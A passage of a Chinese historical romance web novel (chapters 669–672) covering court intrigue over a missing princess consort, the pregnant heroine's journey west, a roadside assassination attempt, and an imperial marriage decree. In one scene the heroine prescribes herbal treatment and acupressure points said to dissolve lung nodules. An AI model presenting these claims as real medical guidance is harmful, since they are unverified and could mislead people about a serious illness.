王氏便拿着手里的团扇,在侧替其摇了起来。 看着张致远刚刚咽了一口下去,便着急地询问道:“怎么样,味道如何?” 张致远一边仔细品味,解说道:“嗯,这绿豆汤的确不错,入口香甜,实乃解暑之佳品。用于暑日心烦、口干、出汗者,最好不过了!亦可用于防治感暑。只是不知,夫人是如何制得的?” 王氏脸色欣喜地道:“这倒并不难,只需花些心思。将绿豆洗净,百合掰开去皮,同放入砂锅内,加水适量,武火煮沸,改用文火煲至绿豆开花百合破烂时,加入冰糖即可。眼下这种大暑时节,最是适合不过了。” 张致远伸手过去握住王氏的另一只手,将其轻轻拦腰拉了一下,王氏便就顺势刚好落在了他的一条腿上。 张致远继而温柔又深情地看着她的眼睛,道:“夫人蕙质兰心,又对为夫体贴入微,为夫真是好大的幸运,这辈子能娶到夫人!” 就在俩人四目相对,互生情愫,缓缓靠近的时候。 门外忽然传来一急促的声音道:“老爷,夫人,秦王府来人了!” 悸动的氛围忽被人打破,张致远赶忙回应了外面一声:“知道了,下去吧!” 王氏亦缓缓从其腿上退去,不解地问:“这个时候,秦王府来做什么?” 张致远略一思考,便道:“想必仍然还是和秦王妃有关吧,无妨,为夫可以应对。” 脚步刚一迈进前厅的门槛。 一看到秦王府的来人竟是程良,张致远便顿扬起笑脸来,对其格外客气地抱拳行礼说:“不知程将军今夜到来,未曾出门远迎,真是失敬失敬!” 程良却是一点儿也不想与他多费唇舌,开门见山直接问:“张致远,你无需跟本将军客套。本将军今夜前来,只为问你一句,长宁宫里的那位,到底是谁?” 看到程良明显一副质问自己的语气,张致远反而沉着从容地落座下,应道:“程将军此话何意?长宁宫里的那位,宫里人人皆知,那是皇上的新幕僚,怎的程将军难道不知?” 见他依旧冥顽不灵,不肯说实话。 程良起身,一步步渐渐逼近到张致远的眼前,直到最后俯身下去,对着他的鼻翼,盯视着他的眼睛,颇为严肃认真地道:“可明明有人看见,长宁宫里的乃是一男一女。而且如今,那男的已死,女的离宫了,对不对?” 顿时,张致远惊谔地心里默默道:“这……他是怎么知道的!” 就在其思量之际,程良再次目光犀利地问:“你很清楚,现在在跟谁说话。本将军最后问你一次,你可仔细想好了再回答。长宁宫里的,是不是一男一女?” 岂料张致远最后还是坚持回答了他一句:“长宁宫里的,是皇上的新幕僚。” 霎时间,俩个人的目光紧紧对视在一起。 不知过了多久,程良丢下了一句:“张致远,有朝一日,你可别后悔!” 说完,便就转身忿忿离开。 程良前脚刚刚离开,躲在后面的王氏紧张地冲了出来。 一把抓住张致远的胳膊,着急关切地道:“夫君你没事吧,没被怎样吧?” 张致远竟被程良最后的那股气势所惊到,遂心里默默地重复了一句:“有朝一日……” “夫君……” “夫君……” …… 直到王氏在其耳畔呼唤了好几次,方才回过了神来,道:“我没事,他还奈何不了为夫?” 想想这些事情,王氏亦有些于心不忍,说:“夫君你为什么不告诉他们实情呢?听说秦王府以为秦王妃真的已经殁了,就连纯太妃都病倒了。府里亦已经开始为其操持办理丧事,这个时候,秦王一定很伤心。” 张致远叹了口气,却说:“可或许秦王妃的离开,有她自己的道理呢?能让她即便怀有身孕,依旧还是选择一个人离开,想必一定是有什么情非得已的理由吧……她本就是个非比寻常的女子,就连北烈二皇子都为了她能自由而舍身命丧黄泉,我想我亦应该尊重她的决定。” 至此,王氏似再也无话可说,夫妻俩人一同陷入了沉思。 深夜时分。 程良一路垂头丧气着,没想到无论自己如何威逼张致远,他始终都不肯说实话。 此刻,他心里沉重地终于缓缓回府来到了承华殿里。 轩辕翰远远地看见,仅仅瞥了一眼,便似已明白了一切。 于是并没有说话,兀自又继续埋首下去,研究起铺开在面前案上的一张陈旧的布防图。 直到他犹犹豫豫地近身过来,轩辕翰才故意打趣起他:“怎么,是不是张致远仍未改口?” 程良听了顿惊诧地问:“殿下是如何知道属下去找张致远了?” “哼……” 轩辕翰哼笑了一声,但依旧并未挪开视线,继续一边看图,一边说:“你跟随本王多年,本王又怎会不了解你?!你不但去找了张致远,而且就连结果都写在脸上了。” “有这么明显吗?!”程良一听主子的话,赶忙附手上去摸了摸自己的脸。 遂又满腹疑惑不解:“张致远他的确还是坚持原来的说法,矢口否认长宁宫里的是名女子,可他为什么要撒谎呢?今日那名宫女,定是不会撒谎的!” 轩辕翰亦同意道:“小小宫女,自是不敢撒谎!” 说完这句,终于转移了视线看向程良的脸。 “其实,你根本不必跑这一趟,张致远显然早已与皇上串通好了,所以不管你怎么问,都是没用的!” “可属下就是不甘心!” “这其中一定有蹊跷!” “那到底是什么?” 程良依旧执着地坚持着说。 “好了,不管他们在隐瞒什么,早晚我们都会知道的。不过,眼下你先看看这个!” 这时,轩辕翰将自己收到的那个火漆密函竹筒拿出来,递向了程良面前,转移了他的思绪。 程良一边将其接过,一边问:“这是什么?” 直到看完了密函,程良顿瞪大了眼睛惊呆了:“这个永乐公主,还真是不简单,这么快便就回国开始有所行动了……” 霎时间,他方才明白为什么轩辕翰此时会拿起上次去东宁国时的那张布防图来看。 “所以,殿下是准备要对东宁动手了吗?可那说到底,亦是王妃娘娘的母国呀!” 不经意间,又一次提到了衣上云来,程良话刚说完,便意识到,遂又急急收起声。 而轩辕翰果然在听到衣上云的名字后,再次沉默不语了下来。 程良想要转移其注意力,便问:“不知这封密函殿下是从哪儿得来的?” 轩辕翰道:“正是昨夜那个蒙面男子送来的。” “该死!这个易三少真是活腻了,竟然胆敢截获我们的情报,他会不会亦已经知道了这个消息?” 顿时,程良越想越担心。 而轩辕翰却沉着冷静地说:“本王拿到这封密函的时候,已经仔细确认了多次,密函并未被人拆封过,易三少……他应该不知道其中的内容。” 至此,程良的心终于沉了下来。 心里犹犹豫豫了一整天,终于还是再也忍不住地问:“今日在宫里,殿下明明可以自己选择,却又为何不拒绝太后?” 此话一出,一室寂静。 很长一段时间里,再也无人说话。 就在程良以为自己的问题得不到回应的时候,轩辕翰忽然开口。 依旧一如既往惜字如金地说了句:“以退为进,后发制人。本王不想,亦不能再等了!” 转眼,已是数日后。 大西北异常炎热的酷暑天气,似是要将这大地万物炙烤一般。 火辣辣的太阳,晒到人的皮肤上,硬生生的疼。 干旱,少雨,缺水,加之常年受到风沙的肆虐,地表遍地沟沟壑壑…… 这一切,便是这里千百年来恒古不变的特点。 就这样一路颠簸着,使得衣上云的孕期反应比一般孕妇严重的多。 可她清楚地知道,半年的时间听来很长,实则太短,她有太多的事情要做。 为了尽快将拓跋宏的骨灰带回草原,让他入土为安,衣上云不得不日夜兼程地赶路。 就在这时,脚下一片寸草不生,荒无人烟的地带。 车夫忽然不经意地回头,发现似有俩名神秘男子一路一直尾随着他们的车子。 于是,老车夫顿时意识到了危险:“糟了,难道我们被人跟踪了。” 闻声,一直斜靠在车内闭目养神的衣上云忽地睁开了眼睛,问:“是什么人?” 老车夫哪里知道是怎么回事,便说:“不清楚啊!” 衣上云赶忙坐起,掀开车窗帘朝后探了探。 继而,又转朝前方的路观察了一会儿,说:“老伯,待会儿到了前面的那片树林时,把车停下来!” 第六百六十九章:我可以的 “吁……” 很快,伴随着老车夫勒马停下。 衣上云再次抱起那个黑色的包袱,缓缓下车来。 她看了看前面的路,脸上不禁浮现出一抹忧郁。 却依然从身上掏出一袋银子,将其递到了老车夫的手里。 感激地说:“老伯,这些日子以来真是辛苦你了。这些银两还请仔细收好,谢谢你这一路上的悉心照顾,咱们就此别过吧!” 老车夫看着自己手里接过来的那只沉甸甸的钱袋,明显远远超过自己该得的,顿时惊诧不已:“姑娘,这是何意?” 仅仅只是短短这几日的路程,衣上云已感到着实疲惫不堪。 更何况,她知道接下去的路翻山越岭,将会越走越难。 但比起拓跋宏为自己所付出的,眼下这些又算什么呢? 此刻,她也很无奈:“这一路上太过于颠簸,我们所带的食物和水远远不足,我一人尚还好对付些,可老伯你年龄大了,若是再这样下去,定是吃不消的。等穿过了前面这片树林,我想应该就会有人家了吧,到时候我再想办法。” 衣上云所说并不虚,老车夫毕竟已经年过五十,虽说替人赶了一辈子的马车,如今早已不比壮年时期,况且眼下如此恶劣的环境,的确让他有些心有余而力不足。 可见衣上云这般为自己着想,亦是感动不尽,心里替其担心极了地说:“可这去草原的路还远着呢!万一过了树林并无人家居住,没有了车子,姑娘你又有着身孕,接下来该如何继续向前呢?” 衣上云想了想,最后默默地下定了决心。 “车到山前必有路,船到桥头自然直,我想总会有办法的。况且,老伯的妻子尚还患病卧床在家等着你回去照顾呢,莫让她再替你担心。” “我……” 说起自己患病的妻子,老车夫便更加犹豫不定了。 这时,衣上云又拿出一个药方,对老车夫说:“根据老伯您路上所描述的,我想您妻子的症型应属于……肺郁痰结,多因情志不畅,气机郁滞,导致的痰浊内生,凝结于肺。” 顿了顿,继续说:“治疗这种疾病,当以疏肝解郁,化痰散结为主要方法。再辅以健脾益气,养血安神之法,以调畅气机,消散痰结。” 说着,便一边将那药方递到老车夫手中,一边交待他:“这个方子,是我刚刚在车上所开,老伯您回去依照此方抓药,约有月余,您妻子一定会恢复如初的。” 老车夫正在端详着,衣上云忽然似是又想起了什么。 “对了,为了更好的预防日后复发,我教老伯按揉您妻子身上的这三个散结穴吧!” “散结穴?”老车夫尚还未反应过来。 衣上云说着,便放下身上的包袱,手把手开始教了起来:“这第一个是尺泽穴,它在肘横纹中肱二头肌腱桡侧凹陷处,需要您用大拇指弹拨这里,就这样……每天100次,可以舒筋活络,清泻肺热。” 紧接着,又托住老车夫的胳膊:“第二个是孔最穴,他在前臂掌面挠侧掌横纹上七寸,我们用拇指呢,点按这个穴位,如此具有疏通肺部的经络,调理肺气的功效,可以辅助调理肺结节。” 接着,她蹲身下去坐在地上,丝毫不顾及自己是个女子,脱掉鞋子朝向其演示:“这最后一个,叫地筋穴。将脚趾向上翻起,摸到脚底处梗起的那个硬筋,每天用力揉搓这里,就能够很好的散结消肿、疏肝理气,能够帮助结节的消散。” 此时衣上云越是对他好,老车夫越是不忍心弃她一人而去。 衣上云似是看出了他心里的顾虑,便起身来说:“老伯您不必内疚与担心,那夜在皇城里倾盆大雨,寸步难行,我只能躲在屋檐下避雨,若不是遇见老伯,我还真不知道该怎么办呢?况且,老伯一路已经陪我至此,我已是感激不尽。” 看着衣上云明明弱小的肩膀上跨着一个包袱,怀里又捧着一个,如此还怎么赶路? 老车夫便心疼地说:“这般通情达理又善解人意的姑娘,到底都经历了些什么啊?!” 而衣上云却笑着安慰他说:“老伯放心,我可以的,我没事。” 话已至此,老车夫遂将手里的钱袋紧忙打开,只取了自己该得的那份揣了起来,将余下的大半连同钱袋一起递到了衣上云的面前。 叮嘱她说:“姑娘给的这也实在太多了,这些姑娘自己好好收着,一个人出远门,盘缠一定得备足了才行!” 衣上云赶忙将他的手推了回去拒绝:“不不不,这一路上颠簸辛劳非比寻常,不比皇城里的平坦大道,该给您的!” 顷刻间,只见老车夫的眼里竟含起了泪水。 衣上云看见,心里不禁怔了一下,鼻子亦酸了。 这时,老车夫忽然问:“对了,还不知姑娘芳名叫什么?” 衣上云脱口便道:“衣上云,老伯叫我云儿便可!” “衣……上……云……我记住了!” 说完这句,老车夫最后仍是将那钱袋紧紧按在了衣上云的手里,再也不容她推拒。 继而忍住悲伤转身,疾步过去一跳上马车,便调头飞快地离去,扬起一阵沙尘。 就在车子调头的瞬间,衣上云眼疾手快地上前两步,将钱袋倏地从车窗外丢了进去。 离开没多久,老车夫忽然想起一事:“不好,忘了将干粮和水囊给衣姑娘了!” 于是,他赶忙停下了马车,去车厢内取出已仅剩不多的食物与水。 可刚一掀开车帘,便看到刚才那个熟悉的钱袋,顿怔愣住:“这……这是什么时候放进来的?” 待其不容有半丝迟疑,火速赶回到俩人刚刚分别的地方时,却早已再不见衣上云的身影。 老车夫愣愣地站在那里,手里捧着食物与水,还有那个沉甸甸的钱袋,却是眼前一片茫茫前路,无从追起。 望着眼前的树林与层峦叠嶂的远山,老车夫只能默默地祈祷:“衣姑娘,这一路,可千万要保重啊!” 再次启程往回赶路时,因为担心衣上云的安危,老车夫时不时地三步两回头看看,显然有些心不在焉。 眼下是上了一道土坡,接着正欲下坡时,忽然前方的路中间现出了一个似是有些熟悉的面孔。 老车夫回忆着。 伴随着距离那人愈来愈近,他亦终于想了起来:“你……你是来时路上从皇城开始,便就一直跟着我们的那个人?” 遂急急道:“你想做什么?” “哼” 那男人不说话,只冷冷地哼了一声。 见此,老车夫顿时握紧了手里的马鞭,心里紧张极了。 似是连说话都已开始发抖::“你……我与你并不相识,我们之间亦无怨无仇……” 说着说着,他忽然反应了过来:“不对,你难道是因为那个姑娘而来的?” 男人似是已有些不耐烦,道:“聒噪……你这个该死的老头,啰里八嗦,死到临头了,还问这么多做什么?” “死……什么死不死的?” 就在老车夫害怕极了,正欲扬鞭加速时,那男人似是意识到了他的动作。 遂双脚轻轻一点地,便就朝着老车夫的身边凑了过去。 继而高高举起一把明晃晃的长剑来,从半空中劈了下来。 顿时间,老车夫手里的马鞭便被劈为两半。 见此,老车夫惊的顿张大了嘴巴,碎碎念道:“怎么办,怎么办?我还不能死,我还不想死,我不能就这样死在这个地方……” “去死!” 紧接着,那长剑便转而真的再次朝自己的脑袋劈了过来。 就在他本能般地紧紧闭起眼睛,不知接下来的场面将会是多么凄惨的时候, 忽闻“噗嗤”一下。 老车夫心里所预感的情况并未发生,于是缓缓睁开了眼睛。 只见那男子竟然在自己的面前被人从身后插了一剑,直至贯穿了前胸,口吐鲜血,倒在了自己的面前。 继而从其身后现出一袭红袍男子,长相颇为妖艳。 老车夫更为惊叹地问:“你又是谁?” 这时,那妖艳的红袍男子竟快步上前来关切地问他:“老伯,您没事吧?” “你……你……你……” “你别过来!” 老车夫显然被这场面吓得不轻,紧紧攥着手里仅剩下半截的马鞭阻止他的靠近自己。 看到老车夫显然尚还惊魂未定着,红袍男子伸出一手远远地解释说:“老伯别怕,我不会伤害你的!” 看到红袍男子止步,老车夫方才一边抚慰自己的胸口处,一边自言自语道:“没想到这西北边境之地如此乱象,真是太吓人了,以后打死我亦再也不来了!” 过了一会儿,看到老车夫似是情绪平复了一些,红袍男子便尝试着再次开口问:“老伯,我只想跟你打听一个人。” 老车夫想都没想,开口便道:“什么人?我并非此地之人,对这里什么都不知道!” 易三少着急地道:“不,老伯您知道,我要打听的,就是方才那位乘您车的姑娘,她人呢?” 闻此,老车夫犹豫了一下,这才仔细打量了一下眼前的人。 堂堂一个七尺男儿,却又学人家姑娘涂脂抹粉的,一看便不是什么好人,于是便扯起了谎。 “姑娘……” “什么姑娘……” “我不知道公子在说什么?” 红袍男子说:“老伯休要诓我,我从秦王府开始便就一直在跟着你们的马车,我和他不是一伙的,我不是坏人,我是那位姑娘的……” 第六百七十章:如何放手 红袍男子说:“老伯休要诓我,我从秦王府便就一直在跟着你们的马车,我和他不是一伙的,我不是坏人,我是那位姑娘的……” 虽说眼前这人打扮的确有些花里胡哨,不着边际,一个男人,身上满是香粉味。 可除此之外,好像从一开始便对自己并无半点儿敌意。 遂在心里嘀咕着:“长成这样,难怪衣姑娘要说自己没有夫君!真是没想到,衣姑娘的夫君竟是这样的!” 老车夫遂心里琢磨着,竟忽然打断了他的话:“莫非,你就是衣姑娘的那个不负责任的夫君吗?” 红袍男子一听,顿惊诧地想要替自己辩解:“我……” 不想却被老车夫顿时生气地训斥了起来。 “你家娘子的肚子都已经那么大了,你竟还舍得与她怄气,任由让她一个人跋山涉水出远门?你究竟安的是什么心讷!” 闻此,红袍男子内心惊谔地道:“什么,她竟又有了身孕?” 瞬时,红袍男子紧紧地握住了藏在袖子下的两只拳头,咬牙切齿地道:“轩辕翰,畜生……你明知道她不能……为什么还要让她再次有孕?” 而显然对此一无所知的老车夫,看着他似是出神了的样子,却摇了摇头,叹息地道:“衣姑娘那么好的人,就算是萍水相逢之人,她亦会竭力相助。你……还真是配不上她!” 说完,便再也不理他。 兀自过去捡起掉在地上的另外半截马鞭,上车继续吆喝起马儿来:“老伙计……走……回家了……” 就在这时,红袍男子忽地回过神来,一把紧紧地拽住了马缰绳。 老车夫不禁惊了一下,不知他意欲何为? 紧接着,红袍男子目光急切地看着老车夫的眼睛问:“对不起,是我不对,是我不该惹她生气,我就是知道错了,才亲自追出来寻她,以后我一定好好待她,再也不让她离开,还请您告诉我,她到底去哪儿了?” 老车夫定定地看着他的眼睛,问:“真的?” 红袍男子重重地点了点头。 这时,老车夫回头望着身后一片密密的树林,说:“喏……” 红袍男子遂朝其目光所向一同望去,却是什么都没看出来。 直到老车夫开口对他说:“衣姑娘说她要去草原,刚进了那片树林。” 红袍男子一听,顾不得思考其他,顿时便慌了:“什么?你让她一个人进了那片树林?!” 老车夫狠狠地瞪了他一眼,责怪说:“还不是因为你们俩个,鬼鬼祟祟的一路尾随着我们,我们还以为是被山匪亦或打劫的盯上了呢?” “我……我……”一时间,红袍男子显然百口莫辩。 其实他在跟踪的途中,发现衣上云还被其他人跟踪着,便只是想看看他们到底是什么人而已。 所以才没有及时现身,没想到,这竟会吓到他们。 老车夫至今都觉心疼极了:“衣姑娘真是太善良了,她不愿拖累我,还给了我很多银两,更是给了我能治愈我老婆疾病的一纸妙方。即便是菩萨显灵,也不过如此……” 说着,竟再次用衣袖偷偷抹起了眼泪来。 然红袍男子此时已然什么都听不进去,只心里着急害怕极了地喃喃细语道:“云儿不可……千万不可独自进入那片树林!” 说着,拔腿便追了上去。 “云儿……” “别怕……” “等我……” “我来了!” 待到红袍男子和老车夫均已相继离去。 拓跋泽亲自带人亦追了上来,却只看到倒在一滩血泊中的手下,面部朝下趴着,一动不动。 拓跋泽顿现出满脸愤怒地蹲身下去,将俯身趴着的手下翻过来一看。 那手下竟还奄奄一息,尚留着一口气。 拓跋宏赶忙附身过去,在其耳边问:“人呢?” 那手下便从喉间发出一阵微乎其微,断断续续的声音。 “树……” “树……” “树……” “林” 很快,直到最后一个字刚吐出,便就彻底瞪眼断了气。 拓跋泽倏地起身,眼睛顿现出寒光四射,遂命令手下人:“追!” 于是,一众人等,俱都朝着树林里追了进去。 终于结束了皇城的游学活动,衣上云的丧礼亦已告一段落。 再次回到西秦学院,纯太妃的话,却至今时不时地一遍遍在陆贤的耳边回响着。 “世人皆说,女子无才便是德。当然,这句话,在本宫这里并不认可。女子有才亦有德,理当更胜一筹。只是,本宫觉得女子当更贵在安分守己,贵在一颗待人真诚的赤子之心,而不该毫无底线地追逐或者觊觎命里本就不属于自己的东西。切莫到最后,残花红颜泪,一场空悲切。” 他心里总觉得其话里有话,尤其是对于陆天骄所说的这一段,显然是在警告她。 思前想后,便打算着:“看来,这次必须和骄儿好好谈谈才行。” 仔细想一想整件事情的来龙去脉,皆只因秦王轩辕翰并不是他们所能觊觎的人。 于是便在心里暗暗琢磨着:这个孩子,看来真的是女大不中留,留来留去留成仇,或许,是时候该给她说门亲事了。” 于是,他默默地来到了陆天骄的门前。 院子里,到处花团锦簇,花香四溢着。 站在门口等了许久,终于看到陆天骄手里捏着一朵粉嫩的芍药花,一边撕扯上面的花瓣,一边心事重重地徐徐踱步进门来。 于是,陆贤便扬声叫住了她:“骄儿,你去哪儿了,为父找你有事与你商量。” 岂料陆天骄竟却似一点儿也不想与他沟通,遂一见他,便加快了脚下的步伐,说:“父亲,今日我累了,有什么事,晚点儿再说吧!” 说着,便继续向前,提着裙摆欲上到阁楼上去。 不料,却被陆贤发出的一阵喝声制止,道:“你给我过来!” 看到陆贤态度变得生硬,就连声音亦明显强势起来。 无奈,她只能止步停下,回头过去缓缓坐在了陆贤的面前。 似是还是有些不情愿,自顾自倒了一盏茶,将其一饮而尽,然后才问:“父亲想说什么便就说吧,女儿听着便是!” 陆贤亦不知道从何时起?这个女儿与自己的每场谈话竟变成了这样。 可亦只能再一次耐下心来说:“不知不觉间,为父的骄儿竟都已经长成大姑娘了。若是你娘还在,骄儿一定人见人爱,你一定不会是现在这个样子的。若是你娘在,骄儿一定会生活的很开心吧!这些年,父亲的确对你有所疏忽,才让你成了今天这副脾性。” 殊不知,今日的陆天骄,早已不是小女孩,这些话,对于如今的她来说,只会让她更加不耐烦。 果然,转眼便对陆贤没有耐心极了地说:“不知父亲到底想说什么?” 陆贤不断地给自己做心理建设,在这个女儿面前,总是不知该如何把握说话的轻重。 只能一再地忍让:“为父想说,我的骄儿也老大不小了,父亲知道你对秦王殿下情有独钟,可他,并未你的良人……所以,为父想要为你寻一门亲事,不知你喜欢哪……” 闻此,陆天骄顿朝其看了过去惊住了。 她看向陆贤的眼睛,过了会儿,开口质疑地问:“父亲这是要做什么,逼婚吗?” 陆贤怎会不知,自己这个女儿向来心比天高,却又命比纸薄。 亦同样心疼她的这份执念,又苦口婆心说:“骄儿,难道你到现在还不明白?你与殿下之间,注定是不会有结果的。无论是从以前的永乐公主,还是已故的秦王妃,殿下他根本就从未对你有过那般的心思。女儿,不如……就此放手吧!放过自己,好吗?” 而陆天骄却似始终都坚信,她一定会成功! “放手?” “事到如今,我如何放手?又如何放的了手?” “如果放手,我岂不被所有人耻笑,难道我还不如城西衣府的那个被我哥退了婚的废柴丑女吗?” “我不甘心,如何甘心?” “从我出生的那一刻起,我便始终都坚信,我就是为了翰哥哥而生的!” “这一生,女儿定非他不可……” 看到陆天骄字字铿锵有声,陆贤又怎会不心疼:“你这又是何苦呢?这一切根本不可能的。” 而唯独陆天骄,看起来却似胸有成竹极了地道:“这件事,不用父亲费心,我自有打算……” 就在这时,一名学院的小厮步履匆匆地进来禀报:“姥爷,小姐,宫里来人了!” 闻声,陆贤惊的忽地立起身来,道:“什么?宫里来人了?” 陆天骄亦是同时心里顿了一下。 陆贤回忆着心想:“回来前,我们明明已经进宫面见过圣上了。怎的刚回来,宫里便又来学院,此次又所为何事?” 这时,小厮打断了他的思绪,催促着道:“姥爷,小姐,还是快去看看吧,瞧这阵仗还不小呢!少主亦还在那里等着呢?” 待到父女俩一同到了前院。 只见宫里来的一众人等,正抬着好几个红木大箱子甚是贵气十足地进来…… 第六百七十一章:真的做到了 陆贤,陆天骄父女俩一到前院,只见宫里来的太监,宫女与侍卫一众人等数几十,抬着好几个红木大箱子甚是贵气十足地进来。 陆天麟显然并不知道发生了什么,亦是站在前院一边上,只能一脸茫然不解地看着眼前所出现的一切。 看到父亲终于到来,紧忙朝其过去想要询问些什么。 “父亲终于来了……” “您快过来看……” “这些……” 却被陆贤伸出一手阻挡了回去,继而紧忙上前朝前面那位一看便趾高气昂管事的公公招呼。 “不知公公大驾光临,陆贤有失远迎,还请公公恕罪……” 那管事公公倒是客气地说:“陆院长,好说好说……” 陆贤这才指着面前与那人随行而来的好几个红色的大箱小箱,问:“呃……不知公公这是何意?” 就在这时,忽闻那公公扬声说了句:“陆贤接旨” 霎时间,院子里一片安静。 陆贤,陆天麟,陆天骄三人纷纷哗啦啦的整齐跪下,无比恭敬地听着公公宣读旨意。 那公公照着手里的诏书,字字真切地念道:“太后懿旨西秦学院陆贤之女陆天骄,温婉娴淑,才貌双全,品行端正,今赐婚给我朝秦王轩辕翰。择黄道吉日,入府为秦王侧妃。” “什么?” “这怎么可能?” “太后?怎么会是太后?” “殿下怎么会突然同意迎骄儿入门?” “况且,王妃才刚刚办完丧礼……” “这一切,究竟是怎么一回事?” 闻此,一时间,陆贤心里的疑惑何止这些…… 可眼前正在真真实实所发生的一切,又似半点儿也容不得他质疑。 到如今,似乎都已完全记不得自己是如何起身来,又如何将那道诏书接回到自己的手中。 只见那公公笑着说:“小姐有太后娘娘亲自赐婚,陆院长真是好大的福气!陆院长这些年来为朝廷尽心尽力,这些箱子里,都是太后娘娘悉心为小姐所添置的嫁妆。” “多谢太后娘娘赏赐!” 陆贤顺着公公所看去的方向,却见那些个甚是贵气的红木箱子此时显得那般地刺眼,但又只能客气地道。 “唉!”这时,那公公忽地收回视线,摇了摇头,发出一声叹息。 陆贤不明白地问:“公公为何叹气?” 只见那公公已然沉下了脸色来,对其解释说:“这按道理,秦王妃既然已经殁了,小姐便理应以新王妃的身份入府,可秦王坚持自己此生只有那衣府嫡女一个正妃,所以这才委屈了小姐……” 陆贤听了,并没有说话。 一是因为,直到现在,他似仍还身在云里雾里之中,面对这突如其来的恩赐,丝毫不解其中缘由。 二则是,轩辕翰与衣上云之间的感情,自始至终,他知道的也不少。 且不说其他,只眼前,无论如何,轩辕翰都不可能在这个时候答应任何人,关于再娶妻纳妾之事。 明显,眼前公公的这番话,是在试探他,想要挑拨离间西秦学院与秦王府的关系。 偷偷地斜了一眼,没有看出任何表情异样,公公竟又想继续再一次试探。 “太后选的日子在半年之后,腊月初三,此乃黄道吉日,宜嫁娶。是因为秦王声称亡妻尸骨未寒,暂且无心婚事。故太后娘娘亦想,如此亦好。让你们好好准备小姐的嫁衣,嫁妆。毕竟亦是嫁入皇室,这些事情都繁琐复杂,无一不需要时间来好好安排的。” “是!”陆贤最后只跟着附和了一句。 顿了顿,公公复又凑近了些,道:“另外,小姐没有生母,到时会被接进宫去,让宫里的嬷嬷提前好好教教她,婚后该如何与王爷相处,如何侍奉夫君,也好早日为皇家开枝散叶,秦王不是一般人,凡事马虎不得。” “入宫……” 闻此,陆贤顿抬起头来看着公公的眼睛,心里不禁顿了一下。 反而被看到他眼中的迟疑,公公忙解释说:“陆院长大可放心。陆小姐尚还年幼的时候,太后娘娘便就十分喜爱她,娘娘会把小姐当自己的公主一般对待,绝不会让她受半点儿委屈的。” 陆贤心里怎能不担心? 恍然之间,他甚至开始怀疑,不,他已经肯定,这次的事,一定是这个女儿自作聪明,在他们前两日一同入宫那日做下的。 难怪她刚才会对自己说,这件事不用他费心,她自有打算…… 一念至此,陆贤心里惊诧不已默默地道:“骄儿啊骄儿,你可知,你这就是把自己放在火上烤呀。” 可如今事已至此,他又还能说什么,改变些什么? 违抗圣旨的后果,可不是他所能承受得起的…… 终究,所有一切,都太晚了。 最后,陆贤只能默默地说道:“如此,便就要劳烦太后娘娘费心了……” 待到宫里传旨的队伍浩浩荡荡地,终于离开了学院。 陆天骄依旧脑子嗡嗡作响着,心中无比的激动地道:“做到了,我真的做到了。翰哥哥,我说过,这一生,你只能是我的。等我,骄儿马上便就能日日陪在你身边了!” 可一想到诏书里的那个侧妃,心里又觉无比遗憾:“可惜只是个侧妃!那个贱人,想必如今早就已经死透了吧,可竟然即便是死了,也还要阴魂不散地占着秦王正妃的位置。” “哼……可那又如何?” 转身,却又很快便自愈,自顾自鼓起勇气来:“难道我堂堂西秦学院大小姐,还争不过一个死人吗?只要我足够努力地对翰哥哥好,终有一日,他一定会发现我的好,另立我为正妃的。秦王妃的位置,非我莫属!” “啪” 就在她只顾着自己做白日梦的时候,一记响亮的耳光落在了她光洁的脸庞,终于将她彻底打醒过来。 陆天骄猝不及防地吃痛,赶忙地将半张霎时间变得通红的脸紧紧捂住,不解地看向落下这一记耳光的陆贤。 就连一旁的陆天麟都被吓得后退了两步。 陆贤压抑许久,早已怒不可遏,遂质问她:“那日在宫里,你是不是背着我们偷偷去见太后了,你到底答应了太后什么?” 陆天骄如今早已练就了一身各种故事谎言,俱都信手拈来的本领。 即刻装扮出特别受委屈的模样道:“父亲在说什么,女儿没有!父亲为何要打女儿?” 知女莫若父,陆贤怎可能相信她的话:“怎么可能?太后的为人,你小的时候难道忘记了吗?那场大火,你险些害死了纯太妃。这一切,你真的都忘光了吗?” 原来过去所发生的这一切,陆贤果然早就已经知道了。 可是这么多年过去了,他竟然能够忍住在自己的面前只字不提。 一时间,不知是因为害怕,还是出于自责,甚至还有许多委屈夹杂在其中。 陆天骄忽觉鼻子一酸,竟哭腔了起来道:“不是的,不是的。父亲你错怪女儿了。这次,仅仅是因为得知太妃娘娘病重卧床不起,太后娘娘便拆人让我过去,问我可否愿意嫁去王府冲喜。女儿想着,若是能因此而帮到翰哥哥,哪怕只是一丁点儿,我也愿意为此一试。这才答应了太后娘娘做翰哥哥的侧妃,难道在父亲的眼里,这也算是交易吗?” “她果然单独见过太后!”看到这个女儿总是好了伤疤忘了疼,丝毫不长记性,陆贤又急又气,不知如何是好。 “事到如今,你竟然还敢狡辩,看我今天不好好教训你一顿。” 就在陆贤四下里寻找可鞭策教训其的工具时,陆天麟忽然上前两步撑开臂膀将他挡在身后,阻止说:“父亲不要!” 转而又焦急地催促尚还立在原地丝毫不动的陆天骄:“妹妹,你还不赶快跪下向父亲认错?” 岂料陆天骄依旧执着地道:“我并没有做错什么,为何要认错?” 陆天麟终究是心疼陪伴自己一起长大的这个妹妹,不想她挨打。 想要将她骂醒:“妹妹,你醒醒吧!秦王殿下他根本就不喜欢你,如此强求来的人,你是不会幸福的!” 此刻,陆天骄几乎已是喜极而泣。 “那又怎样?只要能嫁进秦王府,就算是死,我也甘之如饴。我知道,殿下他并不心悦与我,他所心悦的,只有衣上云那个贱人,可她已经死了,不是吗?而我,我还好端端地活着。我相信,只要我留在翰哥哥的身边,便就有希望,总有一天,他会接受我的。” 已然看是她心意已决,费尽口舌亦没有一个人能劝动分毫。 接下来,很长一段时间里,再无一人说话。 陆贤似也彻底无能为力了,安静下来后,只最后说了句:“我再最后问你一次,你可都想好了,往后即便是死,你也决不后悔进秦王府的门?” 心里没有一丝犹豫,陆天骄一字一顿,铿锵有力地道:“女儿生是秦王府的人,死是秦王府的鬼。今日之言,永不后悔。” “记住你今天所说的话,这是你自己的选择,日后莫要怪我们没有劝你!” 最后无奈地落下这句话后,陆贤整个人仿佛被掏空了一般,虚弱无力地在陆天麟的搀扶下,朝着后院方向走了去。 只留下陆天骄一人,落寞极了地站在原地里一动也不动。 眼看着天就要快黑了。 进入一片茂密树林的衣上云,来来回回好几次,最后竟又回到了原地。 这时,她不得不承认,自己仿佛迷失在了这片内有乾坤的树林里…… 第六百七十二章:得不到的回应 初入林中,这里古木参天虬枝盘曲,苔藓丛生绿如宝石,百年古藤缠缠绵绵。 走在树林里,头顶是密不透风的绿林,脚下是清澈见底的溪水。 